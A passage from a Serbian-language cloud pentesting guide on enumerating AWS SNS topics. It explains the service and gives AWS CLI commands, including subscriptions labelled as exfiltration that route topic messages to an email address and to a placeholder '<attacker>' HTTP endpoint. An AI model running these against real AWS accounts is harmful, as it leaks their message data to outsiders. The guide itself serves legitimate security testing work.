# AWS - SNS Enum

{{#include ../../../banners/hacktricks-training.md}}

## SNS

Amazon Simple Notification Service (Amazon SNS) se opisuje kao **potpuno upravljana usluga za razmenu poruka**. Podržava **komunikacione tipove između aplikacija** (A2A) i **komunikacione tipove između aplikacije i osobe** (A2P).

Ključne karakteristike za A2A komunikaciju uključuju **mehanizme objavljivanja/pretplate (pub/sub)**. Ovi mehanizmi uvode **teme**, koje su ključne za omogućavanje visoke propusnosti, **push-bazirane, mnoge-na-mnoge razmene poruka**. Ova funkcija je veoma korisna u scenarijima koji uključuju distribuirane sisteme, mikroservise i arhitekture bez servera zasnovane na događajima. Korišćenjem ovih tema, sistemi za objavljivanje mogu efikasno distribuirati poruke širokom spektru sistema za pretplatu, olakšavajući obrazac razmene poruka.

### **Razlika sa SQS**

**SQS** je **usluga zasnovana na redovima** koja omogućava komunikaciju tačka-tačka, osiguravajući da poruke obrađuje **jedan potrošač**. Nudi **isporuku najmanje jednom**, podržava standardne i FIFO redove, i omogućava zadržavanje poruka za ponovne pokušaje i odloženu obradu.\
S druge strane, **SNS** je **usluga zasnovana na objavljivanju/pretplati**, omogućavajući **jedan-na-mnoge** komunikaciju emitovanjem poruka **više pretplatnika** istovremeno. Podržava **različite krajnje tačke pretplate kao što su email, SMS, Lambda funkcije i HTTP/HTTPS**, i pruža mehanizme filtriranja za ciljanje isporuke poruka.\
Dok obe usluge omogućavaju odvajanje između komponenti u distribuiranim sistemima, SQS se fokusira na komunikaciju putem redova, dok SNS naglašava komunikacione obrasce zasnovane na događajima i širenju. 

### **Enumeracija**
```bash
# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
```
> [!CAUTION]
> Imajte na umu da ako je **tema tipa FIFO**, mogu se koristiti samo pretplatnici koji koriste protokol **SQS** (HTTP ili HTTPS ne mogu se koristiti).
>
> Takođe, čak i ako `--topic-arn` sadrži region, obavezno navedite tačan region u **`--region`** ili ćete dobiti grešku koja izgleda kao da nemate pristup, ali je problem u regionu.

#### Neautorizovani Pristup

{{#ref}}
../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
{{#endref}}

#### Eskalacija Privilegija

{{#ref}}
../aws-privilege-escalation/aws-sns-privesc.md
{{#endref}}

#### Post Eksploatacija

{{#ref}}
../aws-post-exploitation/aws-sns-post-exploitation.md
{{#endref}}

#### Perzistencija

{{#ref}}
../aws-persistence/aws-sns-persistence.md
{{#endref}}

## Reference

- [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/)

{{#include ../../../banners/hacktricks-training.md}}
